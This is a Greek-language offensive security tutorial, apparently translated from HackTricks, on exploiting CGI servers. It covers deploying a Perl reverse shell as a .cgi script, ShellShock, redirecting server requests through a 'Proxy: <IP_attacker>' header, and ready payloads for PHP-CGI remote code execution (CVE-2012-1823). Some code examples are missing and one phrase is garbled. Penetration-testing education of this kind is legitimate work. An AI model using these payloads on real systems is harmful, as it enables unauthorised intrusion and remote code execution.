CGI
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Τα CGI scripts είναι perl scripts, οπότε, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί .cgi scripts μπορείτε να ανεβάσετε ένα perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl
), να αλλάξετε την επέκταση από .pl σε .cgi, να δώσετε δικαιώματα εκτέλεσης (chmod +x
) και να πρόσβαση στο reverse shell από τον web browser για να το εκτελέσετε. Για να δοκιμάσετε για CGI vulns συνιστάται να χρησιμοποιήσετε nikto -C all
(και όλα τα plugins)
ShellShock είναι μια ευπάθεια που επηρεάζει το ευρέως χρησιμοποιούμενο Bash command-line shell σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει στην ικανότητα του Bash να εκτελεί εντολές που περνούν από εφαρμογές. Η ευπάθεια έγκειται στη χειραγώγηση των μεταβλητών περιβάλλοντος, οι οποίες είναι δυναμικές ονομαστικές τιμές που επηρεάζουν το πώς εκτελούνται οι διαδικασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσ attaching κακόβουλο κώδικα σε μεταβλητές περιβάλλοντος, ο οποίος εκτελείται μόλις ληφθεί η μεταβλητή. Αυτό επιτρέπει στους επιτιθέμενους να παραβιάσουν δυνητικά το σύστημα.
Εκμεταλλευόμενοι αυτή την ευπάθεια, η σελίδα θα μπορούσε να ρίξει ένα σφάλμα.
Μπορείτε να βρείτε αυτή την ευπάθεια παρατηρώντας ότι χρησιμοποιεί μια παλιά έκδοση Apache και cgi_mod (με φάκελο cgi) ή χρησιμοποιώντας nikto.
Οι περισσότερες δοκιμές βασίζονται στο να εκτυπώνουν κάτι και να περιμένουν ότι αυτή η συμβολοσειρά θα επιστραφεί στην απάντηση του web. Αν νομίζετε ότι μια σελίδα μπορεί να είναι ευάλωτη, αναζητήστε όλες τις σελίδες cgi και δοκιμάστε τις.
Nmap
CGI δημιουργεί μια μεταβλητή περιβάλλοντος για κάθε κεφαλίδα στην http αίτηση. Για παράδειγμα: "host:web.com" δημιουργείται ως "HTTP_HOST"="web.com"
Καθώς η μεταβλητή HTTP_PROXY θα μπορούσε να χρησιμοποιηθεί από τον web server. Προσπαθήστε να στείλετε μια κεφαλίδα που περιέχει: "Proxy: <IP_attacker>:<PORT>" και αν ο server εκτελεί οποιαδήποτε αίτηση κατά τη διάρκεια της συνεδρίας. Θα είστε σε θέση να καταγράψετε κάθε αίτηση που γίνεται από τον server.
Βασικά, αν το cgi είναι ενεργό και το php είναι "παλιό" (<5.3.12 / < 5.4.2) μπορείτε να εκτελέσετε κώδικα. Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να αποκτήσετε πρόσβαση σε κάποιο αρχείο PHP του web server χωρίς να στείλετε παραμέτρους (ειδικά χωρίς να στείλετε τον χαρακτήρα "="). Στη συνέχεια, για να δοκιμάσετε αυτήν την ευπάθεια, μπορείτε να αποκτήσετε πρόσβαση για παράδειγμα στο /index.php?-s
(σημειώστε το -s
) και ο πηγαίος κώδικας της εφαρμογής θα εμφανιστεί στην απάντηση.
Στη συνέχεια, για να αποκτήσετε RCE μπορείτε να στείλετε αυτήν την ειδική ερώτηση: /?-d allow_url_include=1 -d auto_prepend_file=php://input
και ο PHP κώδικας να εκτελείται στο σώμα της αίτησης. Παράδειγμα:
Περισσότερες πληροφορίες σχετικά με την ευπάθεια και τις πιθανές εκμεταλλεύσεις: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)